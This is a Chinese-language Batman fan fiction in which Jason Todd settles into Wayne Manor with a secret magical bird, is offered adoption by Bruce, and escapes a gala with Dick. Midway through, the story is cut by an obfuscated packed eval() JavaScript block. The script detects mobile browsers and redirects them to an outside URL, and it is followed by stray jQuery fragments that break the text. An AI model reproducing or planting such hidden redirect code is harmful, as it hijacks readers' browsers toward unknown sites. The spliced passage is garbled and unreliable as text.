杰森陷在鹅绒被里，盯着天花板上的浮雕纹路，床垫柔软的像云朵，却让他浑身不自在，今天发生的一切在脑海中闪回——冰冷沉重的手枪，轰鸣起飞的蝙蝠翼，豪华的韦恩庄园，布鲁斯·韦恩和他的老管家——最后定格在阿尔弗雷德递来的热可可上。
“盖斯博。”他对着空气轻唤。
没有回应。
“盖斯博？”这次他提高了音量。
“嘘——！”白色巨鸟从衣柜缝隙里挤出来，羽毛上沾着可疑的硫磺味，“别叫！这里有窃听器！我草他老蝙蝠的疑心病！”
杰森眯起眼睛，“你刚才是不是说了‘草他的’？”
“重点错了！”盖斯博扑棱到书桌前，示意杰森打开抽屉，它指指抽屉里的一叠便利贴，“用这个，想说什么就写下来。”
借着羽毛发出的微光，杰森开始书写，他闻了闻空气，皱眉写到，
“你身上怎么有股烧焦的味道？”
“我去了一趟地狱。”
“你去地狱干什么？”
“well，我去地狱办点事，恶魔们太热情了我也没办法……等会，有人来了。”
走廊传来极轻的脚步声，杰森迅速合上抽屉，把纸条塞进枕头，假装熟睡。
人影在门口停留了一会，确认没有异常后，便轻轻关门离去。
“他走了。”
杰森松了一口气。
“你该睡觉了，杰森，想听安眠曲吗？”
“我五岁就不——”杰森划掉这行字，犹豫着写下了新的文字，“算了，就今晚。”
盖斯博的歌声像融化的琥珀色蜂蜜，流淌在夜色里。那是种古老的语言，旋律让窗外的雨滴都变得缓慢。杰森最后看到的是纯白羽毛在月光下泛起的光泽。
一夜无梦。
阳光透过纱帘时，杰森以为自己还在另一个梦境。直到看见餐桌上餐具反射的光斑，他才确信自己正坐在韦恩庄园的长桌前。
“我在做梦吗？”他无意识的问出声。
理查德·格雷森坐在他身边，耍杂技似的抛接着餐刀，“没有，杰森，你没在做梦，这里是现实。”
杰森机械地咀嚼着培根，太荒谬了——昨天他的枪还抵在马库斯的脑门，今天却在韦恩庄园用纯银叉子吃黑松露炒蛋。餐桌对面，困倦的布鲁斯·韦恩正往咖啡里加第四块方糖，可能是第五块。
“合您口味吗，杰森少爷？”阿尔弗雷德为他续上热牛奶。
“非，非常好，谢谢，我是说很好。”杰森结结巴巴地回答。
布鲁斯轻咳一声，吸引了杰森的注意力，“需要我送你去学校吗，杰森？”
“我请了丧假。”杰森盯着餐盘，“要安排凯瑟琳的.……”
他的声音突然哽住。
餐刀在理查德手中停止旋转，阿尔弗雷德无声地递来一块手帕。
“没事的，杰森，我们都知道这很困难。”
“我没事，我知道凯瑟琳在天堂过的很好。”杰森红了眼眶，但强撑着没掉眼泪。
“好的，那么迪克……”
布鲁斯转向理查德。
“我也请假了，布鲁斯，你忘了吗？”
理查德懒洋洋地举手，
“我猜你是忘了。”
布鲁斯深吸一口气。
“杰森，你跟我来，我有些话想和你说。”
布鲁斯推开书房厚重的橡木门，阳光透过玻璃在地毯上投下斑驳的阴影。杰森站在书柜前，手指紧紧捏着衣角。
“坐吧。”布鲁斯指了指壁炉前的扶手椅，自己却站在窗前，逆光让他的身影有些模糊不清。
杰森僵硬的坐下，膝盖紧紧并拢，他盯着壁炉上方悬挂的韦恩家族画像，不知道该看什么。
“具体的事情蝙蝠侠已经和我说了.....但我需要知道你是怎么看的，杰森。”布鲁斯·韦恩蹲下身，让自己与杰森平视，那双钢蓝色的眼里沉淀着海洋般的温柔。
“你愿意被我收养吗？”
布鲁斯的声音很轻。
“为什么？如果说是因为蝙蝠侠的嘱托，你也大可不必这样。你可以把我送去寄宿学校，我能照顾好自己。”
杰森问道，他的声音充满意外。
“因为我看到了一个需要帮助的孩子，就像当年我需要帮助一样。”
布鲁斯停顿了一下，
“而现在，我希望我能帮助这个孩子。”
壁炉里的木柴爆出噼啪的火星，杰森望着布鲁斯的眼睛，那里面没有怜悯和同情，只有某种他读不懂的复杂情绪。
“你可以拒绝。”布鲁斯说，“但阿尔弗雷德已经收拾好了你的卧室，无论你做什么决定，它永远是你的房间。”
“我......我需要时间考虑。”杰森小声说，阳光照亮了他微红的眼眶。
布鲁斯点点头站起身，轻轻按住杰森的肩膀。
“我会一直在这里，或许你想和迪克玩一会？”
“迪克.....?”杰森愣了一下，是他想的那个吗？
“对。”布鲁斯眨眨眼，露出一个微笑。
“理查德·格雷森，他喜欢别人叫他迪克。”
窗外传来理查德大呼小叫的声音，这荒谬的日常感让杰森意识到——蝙蝠侠说的机会，并不是成为夜巡者中的一员。
他将以另一种方式改变哥谭。
“很快你就会上头条了，杰森。”盖斯博的语调带着讽刺，“媒体会像嗅到血的鲨鱼，只要你皱个眉，第二天报纸就会写‘街头野狗难驯本性’。”
“你怎么知道？”
“因为我见过太多了——这类新闻都这个套路。”
杰森笔尖一顿，“我不在意。”他写到，“我不在乎他们说什么。”
盖斯博停顿了片刻，
“那么这段时间都不要看报纸，亲爱的，也不要随便打谁，学校里布鲁斯捐的楼已经够多了。”
“我不会。”
镁光灯比杰森想象中的更刺眼。
他站在布鲁斯·韦恩身侧，穿着价值不菲的定制西装，领带系的一丝不苟，嘴角挂着练习了无数次的微笑。
记者们的提问像暴雨般砸来。
“请看这边！”
“能说说你被收养的感受吗？”
“作为第二个被韦恩收养的孩子，你会和理查德·格雷森竞争吗？”
布鲁斯的手搭在杰森的肩膀上，温暖的重量无声传递着支持，杰森听见布鲁斯·韦恩用他那完美的，独属于哥谭王子的轻快语调得体的应对着记者。
“杰森是个很了不起的孩子，我很幸运能成为他的家人.....”
他的声音在杰森耳中逐渐模糊成某种混乱的杂音。
水晶灯将整个宴会厅照的亮如白昼，杰森僵硬着接过侍者递过来的气泡水，手指在杯壁上留下潮湿的指印。人们带着审视的目光看着他，那些笑脸面具泛着完美而冰冷的光。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15372579|168182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“犯罪巷的野孩子居然能进韦恩家.....”
“听说他母亲是个瘾君子.....”
“布鲁斯韦恩就是喜欢收集这种....”
破碎的窃窃私语从四面八方传来，杰森觉得有些呼吸困难，领带像绞索深深勒住他的喉咙。他的手指颤抖着，放下了杯子，香槟杯落在托盘上，发出清脆的碰撞声。
“失陪一下。”他对身侧的布鲁斯说，甚至没有确认对方是否听见就迫不及待地穿过人群，离开了宴会厅。
他推开露台的玻璃门，冷空气像一记耳光抽在他脸上，他抓住大理石栏杆，用力呼吸着。哥谭的夜空没有星星，只有被光污染染成暗黄色的云层。
“需要救援吗，杰伊？”
迪克的声音从背后传来，轻松的仿佛只是在讨论他们周末要去哪里玩。
杰森没有回头，但他听见露台的玻璃门被关上的声音，宴会的喧嚣被隔绝在外。
“走开，迪克。”杰森声音嘶哑，“我什么事都没有。”
迪克轻笑一声，他解开自己的领带随手一扔，那价值几千美元的丝绸制品就这么飘进了楼下的喷泉池。
“说真的，这玩意差点把我勒死。”
杰森稍微放松了一些，肩膀不再那么紧绷。
迪克靠在他旁边的栏杆上，故意学着杰森阴沉的样子，“你知道吗，我第一次参加这种宴会的时候，把鱼子酱当果酱涂满了整个面包。”
杰森忍不住瞥了他一眼，“真的？”
“阿尔弗雷德差点当场退休。”迪克夸张地比划着，“布鲁斯倒是尝了一口，你是真没见过那个场面。”
夜风吹乱了他们的头发，迪克突然变魔术般的从西装内袋掏出两个个扁扁的汉堡——只有两块面包，一块肉的那种。
“你饿吗？反正我是饿了，给，我偷偷做的，别告诉阿福这件事。”
杰森盯着那个被压的变形的汉堡，包装纸上还有少量酱汁，但比宴会上那些精致的点心要顺眼的多。
“你就不怕弄脏衣服？”杰森接过汉堡，咬了一大口。
“反正付干洗费的不是我。”迪克耸耸肩，模仿着阿尔弗雷德的语气，“迪克少爷，形象管理很重要——然后放任布鲁斯继续泼自己一身的香槟。”
杰森忽然呛到，咳嗽着笑起来。
“听着，杰森”迪克的声音忽然严肃起来，“那些人的闲话就像滴水兽上的鸽子粪——恶心，毫无意义。”
他指向宴会厅，
“里面这些家伙，他们的人生高光时刻就是在这里相互舔皮鞋。”
杰森望向宴会厅，布鲁斯正在和市长交谈，韦恩式的笑容完美无缺。
“不喜欢这种场合，就直接和布鲁斯说。”迪克也咬了口汉堡，含混不清的说，“他会理解的，他不会强迫你做你不想做的。”
“因为他认为我们是家人？”杰森轻声问道。
“我们就是家人，杰森。”迪克笑了，揉了揉杰森的头发。“要溜吗，我恰好知道路该怎么走。”
杰森看着迪克明亮的蓝眼睛，那几乎要溢出来的真诚让他无法拒绝。
“好。”
当布鲁斯终于摆脱社交义务，开始寻找两个孩子时，他只看到露台上的两张汉堡包装纸，和远处围墙上一闪而过的身影。
阿尔弗雷德不知何时出现在他身边，“要去追吗，老爷？”
布鲁斯笑了起来，“不，他们自己会回家的。”